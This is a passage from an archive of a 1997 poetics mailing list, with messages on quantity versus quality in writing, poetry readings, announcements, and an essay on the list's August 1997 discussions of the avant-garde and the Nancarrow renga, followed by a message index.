but Him he died from a crushing force. He's the lucky one, cause She bears the weight now for ever. A ten ton truck. He was only the wieght of a snake. He was only the size of her head and he slept there and suckled and she should get Prizes and Bills and Boyfriends galore for her strength in this matter, just crying. And soothing and sniffing and being herself which is wickedly special. But you don't care cause it's a drag to see sadness and hope nonetheless.

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925. **John Kinsella**
Re: email address
Wed 30 Jul 1997

Thanks - have the addresses now.

Best
JK

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926. **lee ann brown**
Re: NYC Sublet/Share
Thu 31 Jul 1997

Poets & Friends! NEW YORK CITY SUBLET/ SHARE

Poet, Bernadette Mayer is looking for someone to sublet a room
in her apartment on 4th Street & Avenue A in the East Village
while she's in the countryside.
August & September,
or portions thereof.
Rent: $450/ month.
Please contact: Marie Warsh at [redacted] or
Bernadette Mayer or Phil Good at [redacted].

or write them at:
[redacted] (POET PHILIP S GOOD)

Thanks, Lee Ann Brown

(Dear Webmaster: You may've gotten a strange/partial version of this: I'm not sure.)

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927. **Hugh Steinberg**
Re: Quantity & Quality
Thu 31 Jul 1997

John Kinsella writes:

> *Interested in hearing what people have to say about "quality and quantity". That familiar "s/he's too prolific" can be pretty irksome for poets at times. It is most frequently levelled at those poets who are "experimenting" with language - one digression per financial year being more than enough... Fiction writers tend not to get it as much, and for "genre" writers it's usually seen as a plus!*

Actually, I've heard mention of the "Joyce Carol Oates" effect, where the prolificacy of the writer overwhelms the reader, leading to a sort of ho-hum response irregardless of the quality of the book at hand.

Also, speaking more specifically of poets here, there is often a huge gap between what is written and what is published. Even when I keep all my poems in the mail for consideration, my success rate is usually only one in ten. It takes months to get a response, and if I'm lucky enough to get accepted, six months or more will pass before the poem actually is in print. Sometimes it will apppear as if I'm being prolific because several publications will occur at roughly the same time, but those poems may have been written over the course of years (I just got a poem accepted that's seven years old).

I don't think quantity vs. quality is a particularly useful way of looking at writing or writers. Is George Oppen or Elizabeth Bishop good or bad poets because they didn't write that many poems? Is Allen Ginsberg a good or bad poet because he did write a lot of poems? Do all the lousy poems a writer cranks out make the good poems less good? Do long periods of silence drown out good writing? Some writers churn out lots of work, others don't. Some are vegetarians, others like really greasy cheeseburgers. I'd like to think poems are judged irregardless of any writer's work (or eating) habits.

Hugh Steinberg

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928. **Charles Alexander**
Re: Quantity & Quality
Thu 31 Jul 1997

> *In San Francisco I go to a lot of poetry readings and am constantly trying to maintain my composure when someone gets up to the stage and says, this poem is in fifty numbered sections each with seven parts and an epigraph from Levinas and I wrote it in response to, then they look out at the*

> *audience and sigh, oh, I should just read the poem. And I'm there mumbling, no, what you should do is read for about eleven minutes and use the rest of the time to go home and do the laundry.*

On the other hand, I remember hearing Thom Gunn read when I was an undergraduate, I think even a bare freshman. Thom was/is pretty amazing, but his long introduction to his poem Moly (I believe this was the one) included a full reading of a Robert Duncan poem which had occasioned Gunn to write his poem. It was the first I had heard of Duncan, and it seemed that the Duncan poem was so marvelous and rich that it overshadowed Gunn's poem. Still, I owe it to Gunn that I began from that point to read Duncan's work. And Gunn is still a poet I greatly respect as well. So, although it's rare, very good things can happen in those long overtures to reading.

charles
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
handmade and trade editions of contemporary innovative writing
[redacted] :: http://personal.riverusers.com/~chax/

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929. **Joel Felix**
John Taggart Reading Chicago
Thu 31 Jul 1997

LVNG magazine and The Newberry Library will host
John Taggart tonight at 6 p.m. in the Newberry
Library Bookstore 60 W. Walton, Chicago IL

All are welcome. LVNG will have a special edition
broadside in honor of the gathering. We *also*
are hoping Anne-Marie Albiach phones. A joke.

There's an idea. Red phones on tables at readings.
The living could call to protest appropiation. The
dead to reveal thievery. Who will call John Taggart
tonight, and what might they say? All eyes are on
the phone.

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930. **dbkk**
Re: Quantity & Quality
Thu 31 Jul 1997

Hugh Steinberg wrote:

> *John Kinsella writes:*
>
> *Interested in hearing what people have to say about "quality and quantity". That familiar "s/he's too prolific" can be pretty irksome for poets at times. It is most frequently levelled at those poets who are "experimenting" with language - one digression per financial year being more than enough... Fiction writers tend not to get it as much, and for "genre" writers it's usually seen as a plus!*
>
> *Actually, I've heard mention of the "Joyce Carol Oates" effect, where the prolificacy of the writer overwhelms the reader, leading to a sort of ho-hum response irregardless of the quality of the book at hand.*

This is Kevin Killian and this is so true!

I was reading this book "Robert Penn Warren" by Joseph Blotner and thinking, if Robert Penn Warren writes one more book of poetry and wins one more Pulitzer Prize I'm going to break down in tears! Finally, he dies (oops, should have used some spoiler space). Anyway I knew very little about Robert Penn Warren before reading this book and now I feel I know too much.

How about the Janet Dailey scandal? (She is the US romance writer who, confronted with charges that she plagiarized a few of her books from the work of Nora Roberts, confessed to her fans that in 1990 and 1991 she was suffering from a psychological disturbance she did not, until now, even know she had!) I say, if one could write 200 books oneself, why steal 1 or 2 from one's rival . . . the Eve Harrington to one's own Margo Channing.

> *I don't think quantity vs. quality is a particularly useful way of looking at writing or writers.*

I do. Maybe not at writing but at writers. There's a psychological disturbance in writing in any case. "Are George Oppen or Elizabeth Bishop good or bad poets because they didn't write that many poems?" In Oppen's case the poems he wrote in later life suggest to me a desperation about catching up after 25 years of silence, guilt about Stalinism, guilt about bowing to whoever or whatever it was told him to stop writing, etc. In Bishop's case there was the alcoholism and the tension about keeping her sexual life a secret. Yet these two actually managed to write quite a bit. I'm sure both of them had days when they sat there trying to remember in which book did I have the image of the fish, etc.

We all know writers who have written way too much, though we do not speak their names, perhaps due to an obscure reaction to our own feeling of living in a glass house! In the Penn Warren book he is often quoted as complaining that X or Y have "written themselves out," a kind of self-erasure like a Max Fleischer cartoon of the eraser working its way backwards around the outlined figure.

In San Francisco I go to a lot of poetry readings and am constantly trying to maintain my composure when someone gets up to the stage and says, this poem is in fifty numbered sections each with seven parts and an epigraph from Levinas and I wrote it in response to, then they look out at the audience and sigh, oh, I should just read the poem. And I'm there mumbling, no, what you should do is read for about eleven minutes and use the rest of the time to go home and do the laundry.

PS, John Kinsella, have these charges (or "writing too much") been levelled at you?

Thanks.
--A querulous San Francisco crank.

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931. **Gwyn McVay**
Overglossing a reading--was Re: Quantity & Quality
Thu 31 Jul 1997

The over-glossing thing can turn a reading into self-parody before syllable one of the poem has been spoken. I was at a reading in New York State this summer where the poet confessed charmingly that she was making her "very own Zen rock garden" in her back yard by lugging around rocks--and then offered a dark aside, with a little laugh, that she spent so much time back of the house out lugging around rocks that her husband (whom she glanced at) probably thought she was having an affair. This was rather more than I wanted to know, and I don't remember the poem nearly so well as its intro.

o well. Your mileage may vary.
Gwyn

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932. **Don Cheney**
Crankiness: Quantity & Quality
Thu 31 Jul 1997

---

kevin, thanks for this slice of poetic life. funny stuff!
don

> *In San Francisco I go to a lot of poetry readings and am constantly trying to maintain my composure when someone gets up to the stage and says, this poem is in fifty numbered sections each with seven parts and an epigraph from Levinas and I wrote it in response to, then they look out at the audience and sigh, oh, I should just read the poem. And I'm there mumbling, no, what you should do is read for about eleven minutes and use the rest of the time to go home and do the laundry.*

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933. **Maria Damon**
Re: Overglossing a reading--was Re: Quantity & Quality
Thu 31 Jul 1997

At 10:49 AM -0400 7/31/97, Gwyn McVay wrote:
>The over-glossing thing can turn a reading into self-parody before
>syllable one of the poem has been spoken. I was at a reading in New York
>State this summer where the poet confessed charmingly that she was making her
>"very own Zen rock garden" in her back yard by lugging around rocks--and
>then offered a dark aside, with a little laugh, that she spent so much
>time back of the house out lugging around rocks that her husband (whom she
>glanced at) probably thought she was having an affair. This was rather
>more than I wanted to know, and I don't remember the poem nearly so well
>as its intro.
>
>o well. Your mileage may vary.
>Gwyn

i myself have been guilty of such excessive self-disclosure. at one panel, i was surrounded by other panelists, in very adanced states of pregnancy and with large diamond studded rings announcing their matrimonial respectability. they even made comments about it during their talks, which brimmed over w/ feminine/feminist-theological imagery of the old school. this put me over the edge so when i got up to do my thing i crankily announced that i was not pregnant, not married, not christian and probably not really a woman. they felt terrible of course and i felt some remorse. on another occasion, the queer beats conference in fact, i don't really know what i said, but at the party afterward, robert gluck was describing some text or other to me as an "abject narrative," then said, "well, you've probably written some of those yourself."

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934. **simon**
help with G. Spivak
Thu 31 Jul 1997

This is probably so obvious/available I should be too embarrassed to ask (but obviously not):

Does anyone have/know the reference, cite, general idea of where I can find Spivak's use of "strategic essentialism"?

It is Spivak, right?

thanks hugely,

beth simon
[redacted]

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935. **Judy Roitman**
Re: Quality & Quantity
Thu 31 Jul 1997

> *also think arrogance toward quantity has to do with the set form of print & the idea of history, where a poem is "something made" & done & (following Lawrence) a little example of perfection--therefore we can be suspicious of quantity cuz it smacks of the contiuous present. In more living circumstances--for example a bar or cafe group that meets on a regular basis for open mics, where participants may feel compelled to do something their friends haven't heard before, or the poetry in Emily Dickinson's letters-- the poet seems to feel the need to meet each new occasion with creative force. Experimental poetry also seems very much to be acting on present, immediate needs. It's maybe a question of whether the poetry is *meant* to be a single object that stands against time or a continuous act of invention which is also engaged in the flow of it?*

Thanks to Elizabeth Kubie for saying this so eloquently.

Let me only add that it is getting harder and harder for me to think of each piece in isolation from the life's work, both in my own work and in contemplating others' work.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | Larry Eigner, 1927-1996
----
http://titania.math.ukans.edu/faculty/roitman/

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936. **Rachel Kubie**
Quality & Quantity
Thu 31 Jul 1997

also think arrogance toward quantity has to do with the set form of print & the idea of history, where a poem is "something made" & done & (following Lawrence) a little example of perfection--therefore we can be suspicious of quantity cuz it smacks of the contiuous present. In more living circumstances--

for example a bar or cafe group that meets on a regular basis for open mics, where participants may feel compelled to do something their friends haven't heard before, or the poetry in Emily Dickinson's letters-- the poet seems to feel the need to meet each new occasion with creative force. Experimental poetry also seems very much to be acting on present, immediate needs. It's maybe a question of whether the poetry is *meant* to be a single object that stands against time or a continuous act of invention which is also engaged in the flow of it?

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937. **henry**
Re: Quality & Quantity
Thu 31 Jul 1997

> *also think arrogance toward quantity has to do with the set form of print & the idea of history, where a poem is "something made" & done & (following Lawrence) a little example of perfection--therefore we can be suspicious of quantity cuz it smacks of the contiuous present. In more living circumstances--for example a bar or cafe group that meets on a regular basis for open mics, where participants may feel compelled to do something their friends haven't heard before, or the poetry in Emily Dickinson's letters-- the poet seems to feel the need to meet each new occasion with creative force. Experimental poetry also seems very much to be acting on present, immediate needs. It's maybe a question of whether the poetry is *meant* to be a single object that stands against time or a continuous act of invention which is also engaged in the flow of it?*

Does there need to be a polarity between print & performance? Of course there ARE differences. But what if you looked at a written/printed poem as a musical score. Then writing might be an aid to composition (in quantity large or small). & writing might make POSSIBLE multi-dimensional performances, as opposed to one-time "unrecorded" hits (or one-time recorded hits). I like the idea of a further integration of print & performance. On every level. Real poems never stand against time - they re-express time & enrich time. Why are present needs IMMEDIATE? Because they are impoverished - they lack the meta-time represented in poetry & memory. Does so-called experimental poetry renounce memory & history in order to mimic (& therefore "play a role" in) so-called "present needs"? Somebody (Stevens) said the purpose of poetry is to help people live their lives (do I have that right?). We know what impoverishment is & that it asks for a response. Is mimicry & participation the only response? Maybe it's a better response than the offer of elite traditions & values. But it might not be the only response. Ignoring history & what's been done (in print, in performance) is an experiment in conformity (the flip side of uncritical imitation). - Henry Gould

↑ Index

938. **Christopher Alexander**
Re: Quality & Quantity
Thu 31 Jul 1997

Judy Roitman wrrt:
> Let me only add that it is getting harder and harder for me to think of
> each piece in isolation from the life's work, both in my own work and in
> contemplating others' work.

"there are no individual poems" [almost writes"indivictual"]: utterance (to the phoneme) as the intersection of proliferating & un-/recoverable fields of relations (poetic, political, Literary, & commercial radio all news all the time...). nothing stands against time, only in it (whatever is/was the intention...)(whatever that means). it's getting hard to separate my own wrtg from anybody else's. (even foresworn the scare quotes). "evening swarms over the" possibly a conflation of production & reception, or just an awareness of process (every act inflects/inflected by...).

but I'm familiar with the feeling Kevin describes, that sort of "enough, already" near-dread that's really just boredom. "yes, go ahead, write one more" but I'm not driving you home. (as opposed to "talk all you want, baby, but then..."). not sure what it wld mean to evaluate a wrter on this basis, though— I've always taken it to have more to do with my own limits (if not limitations). of course, I'm not terribly prolific myself... "not to make them too too evident". can someone elaborate? ("maybe not such a careful reader after all"). the ones in parenthesis are whispers.

Chris

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

↑ Index

939. **James Finnegan**
Re: Crankiness: Quantity & Quality
Thu 31 Jul 1997

The quantity v. quality argument can get tiresome.
But when I see a writer who seems to spill out
page after page after page with little regard to
what's there, what's been written, it often seems
to me that the writer's ignoring an implied contract
between writer & reader: "your (the reader's) time
will not be wasted by engaging this material, because
of the effort I (the writer) put into the product." What
we too often get is ego-driven wordspew--I wrote it,
so it must be wonderful, profound, entertaining...
Often I don't see any labor in the writing--I know Ginsberg's
dictum of "first thought, best thought," but I don't
like to think of that as an easy excuse for not
weighing one's words on the page, for not making hard
decisions: "this is better, than that--this is worth
publishing, this should be dropped in a bottom drawer
or the recycle bin."

There are some writers who need to lift their heads up
from the page/screen and look around--to check to see
if anybody's really reading those reams of brilliance
their unreeling. Actually the internet is a perfect great
black hole waiting for such writing--it can be laid out
there in cyberspace and the writer can pretend thousands
of interested readers are partaking of his/her bounty. "If you
build it (my own personal webpage), they will come." Atleast
the trees won't suffer from the profligacy of a too-prolific poet.

Finnegan

↑ Index

940. **Lawrence Upton**
Re: Quantity & Quality
Thu 31 Jul 1997

<<On the other hand, I remember hearing Thom Gunn read when I was an undergraduate, I think even a bare freshman. Thom was/is pretty amazing, but his long introduction to his poem Moly (I believe this was the one) included a full reading of a Robert Duncan poem which had occasioned Gunn to write his poem. It was the first I had heard of Duncan, and it seemed that the Duncan

poem was so marvelous and rich that it overshadowed Gunn's poem. Still, I owe it to Gunn that I began from that point to read Duncan's work. And Gunn is still a poet I greatly respect as well. So, although it's rare, very good things can happen in those long overtures to reading.>> charles alaxander

i could do with more intros like that! many would not like to read something that wld compare so well - a generosity in acknowledgoing source and sharing excitement in others' writing - that's welcome - people rambling on about details of their lives instead of what they have made from them is something less, much less

↑ Index

941. **Susan Landers**
contact requests
Thu 31 Jul 1997

Someone asked for this before. Sorry for the repetition, but could someone backchannel Mark Doty's email address to me? Thanks.

P.S. And to up the ante some more: if anyone can has a contact with Ashbery, I'd love that as well.

Sue
[redacted]

↑ Index

942. **Don Cheney**
san diego only
Thu 31 Jul 1997

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for those of you in san diego and who can get the ucsd channel:

Artists On The Cutting Edge: John Ashbery
Friday, August 8 at 7:00 and 9:00 PM
Sunday, August 10 at 10:00 PM
Winner of multiple awards for literary excellence, writer and educator John Ashbery is a seminal force in modern poetics. In an enlightening installment of Artists On The Cutting Edge, Ashbery reads, and comments on, selected works.

UCSD-TV broadcasts daily 24 hours a day on UHF channel 35 and is also carried on Southwestern Cable 18, Coronado Cable 16, Cox Cable San Diego 76 and Cox Cable North County 58 from 4 P.M. to midnight.

don

==========

Don Cheney San Diego, CA, USA
http://www.geocities.com/Paris/5791
[redacted]

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

August 1997

606 messages · Fri 1 Aug 1997 – Sun 31 Aug 1997

On the second of August William Burroughs died in Lawrence, Kansas, and the following night Hugh Steinberg told the list: *“I just heard on CNN that Burroughs died tonight”*. Heart failure. That is the notice. Across six hundred and five letters his name occurs seven times, and three of those are the announcement. At the end of the month a car went into a pillar in Paris and the list gives that two. What August did instead was ask itself, for the second time in the eighteen months I have been reading it, what the avant-garde is — and then answer the question by accident, in the mail, in a way nobody intended and one man noticed.

Maria Damon put the question on the sixth, and put it well, because she needed it for work: she was to give a talk in November and wanted to challenge what she saw as the closedness of the tradition. Why, she asked, does the avant-garde seem to need to *“police its borders so rigidly”*? How does a thing get admitted or refused? William Marsh, taking her up, was suspicious of the spatial metaphor itself — that *“the a-g is a particular zone or area of activity”* with edges that can be patrolled. Fifty-two letters over three threads, and the room got no further than it had got in March of last year, which was nowhere.

Then on the tenth Conlon Nancarrow died in Mexico City at eighty-four. He was a composer, not a poet; he had gone to Spain to fight Franco and been refused a passport home for it; he spent forty years in one room punching piano rolls by hand to make tempo canons no human hands could play. The room mourned him properly. David Israel — who had done the same office for Ginsberg in April — began collecting a renga, and it opens on somebody’s excellent first line, *“Ach, I throw away my metranome”*, it is useless to me; George Bowering answering *“here in this metrapolis”*; Israel’s own third, *“this cricket knows the music”*. Sixty-odd letters. A real poem for a real man.

Ira Lightman spoiled it on the twenty-seventh, and was right to. The renga, he wrote, did not seem to be about Nancarrow at all: four-four is the dullest time signature, and a renga for someone is a renga for oneself, and is this a way to honour the dead? Then the question that ends the month: *“would a renga have sprung up for Burroughs’ death”* so equivalently not about Burroughs? Nobody answered him. It is the sharpest thing said in August and it disappears into the thread without a reply.

But the answer was already in the volume, and it is the answer to Damon's question too. Burroughs got seven mentions because Burroughs had got out. He had been on television; he had been in a Nike advertisement three years earlier; he was, by 1997, the most famous avant-garde writer alive, which is a contradiction the room could not metabolise and so did not try. Nancarrow got a renga because Nancarrow was still theirs — unplayable, unrecorded for decades, known to almost nobody, perfect. I have set Damon's question at the front of this volume and Lightman's at the back, because between them the room demonstrated exactly how the avant-garde polices its borders. It does it by deciding whom to write the poem for.

— Kristen M. Fabians

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248. charles alexander — policing the irons

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249. Tom Orange — publishing drafts
250. The Ultimate Autodidact — I am a running dog haha
251. jdhollo — Re: POETICS Digest - 10 Aug 1997 to 11 Aug 1997
252. David R. Israel — poem lost & found
253. The Ultimate Autodidact — Chêng Ming = right name
254. Robert Hale — Re: when you do your own policing
255. The Ultimate Autodidact — Re: Ironies of Policing
256. The Ultimate Autodidact — "Nevertheless, It Moves"

257. Don Cheney — Re: Comfort levels for solicitation and submission
258. mark weiss — Re: Ironies of Policing
259. charles alexander — Re: to be or not to be (loyal)
260. Layne Russell — Re: <login>
261. henry — Re: Chêng Ming = right name
262. Susan Wheeler — KGB Readings: Fall 1997
263. Mark Prejsnar — Re: "avantgarde"
264. Maria Damon — Re: Ironies of Policing
265. Mark Prejsnar — Re: Ironies of Policing
266. Maria Damon — Re: Ironies of Policing
267. Maria Damon — Re: Comfort levels for solicitation and submission
268. Maria Damon — Re: when you do your own policing
269. Maria Damon — Re: the misery of poetry
270. Christina Fairbank Chirot — Re: avant garde/a-v dragnet/danger a vat
271. Joe Amato/Kass Fleisher — Re: when you do your own policing
272. Herb Levy — Conlon Nancarrow
273. KENT JOHNSON — Re: Ironies of Policing
274. Tom Mandel — snapstream cracklestream popstream
275. Charles Alexander — Re: avant garde/a-v dragnet/danger a vat
276. KENT JOHNSON — that's not what I meant to say, that's not what I meant to say a
277. Jordan Davis — Louis Cabri, Where
278. The Ultimate Autodidact — Re: to be or not to be (loyal)
279. Tom Mandel — avant academe
280. Henry Gould — avant-garde police
281. The Ultimate Autodidact — Re: Ironies of Policing
282. Daniel Bouchard — the Oath thing, OR fear and oathing
283. Daniel Zimmerman — Re: Ironies of Policing
284. Jack Spandrift — Re: avant garde/a-v dragnet/danger a vat
285. Joseph Lease — Re: "avantgarde"
286. Joseph Lease — Re: "avantgarde"
287. mark weiss — Re: Ironies of Policing
288. Judy Roitman — Passing this along....
289. Peter Landers — loyalty oath of a different color
290. Jack Foley — MEDIOCRITY in Contemporary POETRY
291. Jordan Davis — Re: MEDIOCRITY in Contemporary CRITICISM
292. nuyopoman — National Slam Finals
293. Jordan Davis — DIMINISHING RETURNS / DISREGARD
294. henry — Re: DIMINISHING RETURNS / DISREGARD

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295. S. Preston — Re: "avantgarde"
296. David Bromige — imperialist bow-wows/avant-ga-ga's/abduction by aliens
297. David Bromige — permissions for Kevin
298. Layne Russell — Re: looking for the Vedic scholar
299. David R. Israel — Re: National Slam Finals
300. Mark Prejsnar — Re: avant academe
301. George Thompson — Re: DIMINISHING RETURNS / DISREGARD
302. James Finnegan — Re: snapstream cracklestream popstream
303. Ira Lightman — Re: Derrida and Language Writing -Reply
304. nuyopoman — National Slam
305. henry gould — avant-garde
306. Mark Wallace — D.J. Renegade, Henry Taylor, etc.
307. Stephen C. Ellwood — Re: ( ) (fwd)

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308. David Bromige — carelessness on my part imperialist bow wow avant ga-ga's
309. robert drake — Cybpheranthology update: Potepoets added

310. Rebecca Weldon — Re: the misery of poetry
311. David Bromige — avant garde (chax)/to swear a mighty oath
312. Layne Russell — poem
313. henry gould — Re: avant-garde
314. Sylvester Pollet — Foucault/heterotopia
315. KENT JOHNSON — Re: carelessness on my part imperialist bow wow avant ga-ga's
316. KENT JOHNSON — oh god
317. KENT JOHNSON — anyone?
318. dbkk — Re: avant garde (chax)/to swear a mighty oath
319. Joseph Lease — Re: "avantgarde"
320. charles alexander — Re: anyone?
321. Thomas Bell — Re: avant academe
322. David Bromige — mudslinging at the avant garde
323. shemurph — Address request - KOJA
324. Maria Damon — query
325. KENT JOHNSON — the light
326. Layne Russell — Re: penpal greetings
327. David Bromige — dangerous virus
328. Alan Jen Sondheim — Re: dangerous virus
329. Rachel Loden — the waltz of the arts-bureaucrats
330. George Bowering — Re: the light
331. George Bowering — Re: penpal greetings
332. Rachel Loden — the light and the stars
333. charles alexander — Re: the light
334. charles alexander — Re: penpal greetings
335. George Bowering — Re: the light
336. George Bowering — Re: penpal greetings
337. George Bowering — Re: the light and the stars

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338. KENT JOHNSON — dead oath
339. henry gould — Re: dead oath
340. Gwyn McVay — DJ Renegade
341. Maria Damon — Re: DJ Renegade
342. Judy Roitman — Re: dangerous virus
343. Peter Landers — Re: dead oath
344. J. Tate — forget new criticism, here's the new poetry! (fwd)
345. Tom Mandel — advancing attack?
346. Tom Mandel — email viri
347. Alan Jen Sondheim — Re: email viri
348. Pam Brown — Re: email viri
349. KENT JOHNSON — dead oath drugs
350. KENT JOHNSON — encased in light
351. Charles Bernstein — BERNADETTE MAYER (fwd)
352. David Bromige — encased in light
353. Alan Jen Sondheim — Re: email viri
354. Pam Brown — Tiresome viri
355. KENT JOHNSON — asteroid to hit earth

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356. Thomas Bell — Re: advancing attack?
357. Rachel Levitsky — Re: a revision
358. Brian Carpenter — Re: dead oath drugs
359. Alan Jen Sondheim — Julacan split, for my lover and for Rachel L.
360. Pierre Joris — Re: encased in light
361. Rachel Loden — naturalization
362. charles alexander — Re: encased in light

363. Loss Pequen~o Glazier — McCaffery phone
364. Loss Pequen~o Glazier — Need Info: McCaffery and Kuszai phone #s
365. Maria Damon — Re: Julacan split, for my lover and for Rachel L.
366. Lawrence Upton — The Titanic
367. Judy Roitman — Re: email viri
368. Judy Roitman — Re: BERNADETTE MAYER (fwd)
369. dbkk — Re: BERNADETTE MAYER (fwd)
370. Alan Jen Sondheim — Passion (for one who likes Halliday)

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371. Markus Foutu — Re: how about poems?
372. Alan Jen Sondheim — Sad History of Twilight Spaces, One Hope for the Real (fwd)
373. Lawrence Upton — Re: email viri
374. David R. Israel — two solutions (& other anecdotage)
375. George Bowering — Re: email viri
376. George Bowering — Re: encased in light
377. R. Gancie — mediocrity
378. Karen and Trevor — looking for addresses

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379. lee ann brown — BERNADETTE FUNd controVERSEy
380. Alan Jen Sondheim — Julu and Jennifer get far too sloppy please excuse them
381. Karen and Trevor — Re: mediocrity
382. Miekal And — Re: looking for addresses
383. Charles Alexander — signed book
384. john_lavagnino — Re: two solutions (& other anecdotage)
385. Judy Roitman — Re: two solutions (& other anecdotage)
386. KENT JOHNSON — football encased in light
387. Rachel Levitsky — Re: football encased in reverance
388. George Bowering — Re: football encased in light
389. R. Gancie — mediocrity
390. Joseph Zitt — John Cage Event September 5th in Maryland

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391. Wystan Curnow — uk visit
392. George Bowering — Re: football encased in reverance
393. Rachel Levitsky — Re: Left Hand Reading Series, Boulder, CO
394. Rachel Levitsky — Re: football encased in reverance
395. Henry G — M. Epshtein book
396. Stephen C. Ellwood — unsubscribe
397. Daniel Bouchard — en route to Mass Ave.
398. Henry Gould — RI reading advance
399. minkacroy — How do I get on/off this list
400. Lawrence Upton — unsubscribe
401. Alan Jen Sondheim — now you'll hate me
402. KENT JOHNSON — Re: football encased in light
403. Red Slider — Re: football encased in light
404. KENT JOHNSON — football encased in reverance

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405. Tom Orange — paul auster
406. Rachel Levitsky — Re: football encased in reverance
407. Matt Kirschenbaum — Re: paul auster
408. George Bowering — Re: football encased in light
409. Red Slider — Re: Elegy for Conlon Nancarrow
410. Ira Lightman — Elegy for Conlon Nancarrow
411. Ryan Whyte — Amerika

412. aerialedge — Re: paul auster/ davidson/debord
413. p. durgin — Ad infinitum
414. Joel Kuszai — SPD's new address
415. Red Slider — Yes, but what does it do?
416. Charles Alexander — Re: what flames, where?
417. Daniel Bouchard — Re: what flames, where?
418. David Israel — Re: what flames, where?
419. David Bromige — what flames, where?
420. David Kellogg — Re: what flames, where?
421. Layne Russell — Re: oh canada
422. Daniel Zimmerman — Re: what flames, where?
423. KENT JOHNSON — oh canada
424. Henry Gould — Re: oh canada
425. Red Slider — Re: oh canada
426. Maria Damon (Maria Damon) — Re: space(s) of silence
427. Rachel Levitsky — Re: query
428. KENT JOHNSON — seein' red
429. David Bromige — only kidding, kent
430. kim dawn — space(s) of silence
431. Red Slider — Re: seein' red
432. jarnot — rduncan
433. Red Slider — Re: oh canada
434. Red Slider — I'm feeling better now - so i'll drop a poem
435. George Bowering — Re: I dont give a

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436. Don Cheney — Re: what flames, where, huh?
437. DS — Re: what flames, where, huh?
438. Mark Prejsnar — Publication Announcement
439. David Israel — Re: seein' red
440. Christina Fairbank Chirot — Re: space(s) of silence
441. lppl — Re: rduncan
442. Red Slider — Re: space(s) of silence
443. Daniel Bouchard — address search
444. Christopher Alexander — Re: what flames, where, huh?
445. Laura Moriarty — Re: rduncan
446. George Bowering — Re: Elegy for Conlon Nancarrow
447. Don Cheney — Re: what flames, where, huh?
448. charssmith — Fwd: Text as a Visual Medium
449. Joe Amato/Kass Fleisher — Re: what flames, where, huh?
450. Thomas Bell — Re: space(s) of silence lead?
451. Red Slider — Re: Elegy for Conlon Nancarrow
452. Red Slider — Re: what flames, where, huh?
453. David Bromige — metragnomics
454. Christina Fairbank Chirot — Re: space(s) of silence
455. Red Slider — tech prob. - help! and appologies to all
456. R. Gancie — Seeking Submissions

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457. George Bowering — Re: Elegy for Conlon Nancarrow
458. Red Slider — Re: Elegy for Conlon Nancarrow
459. David Bromige — renga instigations by poet-professor alleged
460. henry — Re: address search
461. henry — sorry
462. David R. Israel — Renga for Nancarrow
463. Laurie Schneider/Crag Hill — Re: space(s) of silence
464. Red Slider — Re: renga instigations by poet-professor alleged

465. George Bowering — Re: renga instigations by pot-professor alleged
466. Christina Fairbank Chirot — Re: space(s) of silence
467. David Bromige — how to raise funds for yr reading/lecture series
468. George Bowering — Re: ren
469. David Israel — Re: Renga for Nancarrow
470. Daniel Zimmerman — Renga for Nancarrow
471. Hoa Nguyen — GAS NUMBER 9
472. Judy Roitman — Re: GAS NUMBER 9
473. Hoa Nguyen — Re: GAS NUMBER 9-- address
474. Bob Grumman — Re: space(s) of silence
475. Brian Carpenter — barthes

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476. John Tranter — silence
477. Maria Damon — Re: Renga for Nancarrow
478. Maria Damon — Re: Renga for Nancarrow
479. Douglas Barbour — Re: Renga - ongoing
480. Burt Kimmelman — Teri Reynolds
481. Bobbie West — Re: space(s) of silence
482. Red Slider — Re: space(s) of silence
483. David R. Israel — Re: Renga - ongoing
484. Charles Alexander — Re: space(s) of silence
485. Carl Lynden Peters — Re: space(s) of silence
486. Daniel Zimmerman — Re: space(s) of silence
487. Red Slider — Origins and Sentiments
488. George Bowering — Re: Renga for Nancarrow
489. kim dawn — ( )
490. Brian Carpenter — Re: space(s) of silence
491. David R. Israel — Re: Origins and Sentiments
492. mark weiss — Re: Origins and Sentiments
493. Schuchat Simon — list down?
494. Layne Russell — Re: space(s) of silence

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495. Red Slider — Re: ( )
496. Red Slider — Re: ( )
497. Tom Orange — rimbaud in africa
498. joel lewis — Elio Schneeman
499. jarnot — Re: Elio Schneeman
500. Maria Damon — Re: Renga for Nancarrow
501. Maria Damon — Re: Renga - ongoing
502. nuyopoman — Re: POETICS Digest - 22 Aug 1997 to 23 Aug 1997
503. Judy Roitman — Re: ( )
504. Red Slider — Re: ( )

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505. Miekal And — Re: Renga for Nancarrow (cont'd)
506. Miekal And — Re: Renga for Nancarrow (cont'd)
507. Barry and Catherine Smith — Re: Silence and paper whatsits
508. Alan Jen Sondheim — Language, written on the road
509. jarnot — lorenzo thomas?
510. David R. Israel — Renga for Nancarrow (cont'd)
511. David R. Israel — Re: Renga for Nancarrow (cont'd)
512. Maria Damon — Re: Renga for Nancarrow (cont'd)
513. dbkk — Re: Renga for Nancarrow (cont'd)
514. Lawrence Upton. — My new email address
515. George Bowering — Re: POETICS Digest - 22 Aug 1997 to 23 Aug 1997

516. mark weiss — (no subject)
517. Christopher Alexander — Re: Renga for Nancarrow (cont'd)
518. Christopher Alexander — (Fwd) build labor-academic alliance
519. Red Slider — Re: Renga for Nancarrow (cont'd)
520. Maria Damon — Re: Renga for Nancarrow (cont'd)
521. George Bowering — Re: Renga for Nancarrow (cont'd)
522. Jordan Davis — Re: Renga for Nancarrow (cont'd)
523. John Tranter — Rimbaud in Africa

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524. Tom Orange — Rimbaud in Africa
525. David Bromige — rimbaud in oz
526. Red Slider — Re: space(s) of silence
527. Ryan Whyte — Cockpit
528. charles alexander — Re: Cockpit
529. Joe Amato/Kass Fleisher — Re: (Fwd) build labor-academic alliance
530. Pierre Joris — Re: Renga for Nancarrow (cont'd)
531. Rachel Levitsky — Re: GAS NUMBER 9
532. Gwyn McVay — (diffidently) chapbook
533. William Marsh — help:writing experiments
534. Jordan Davis — hincty
535. Jordan Davis — Re: hincty
536. simon — Re: hincty
537. Red Slider — Problem in silence
538. STACIE — Re: hincty
539. Tenney Nathanson — Re: hincty
540. Judy Roitman — Re: help:writing experiments
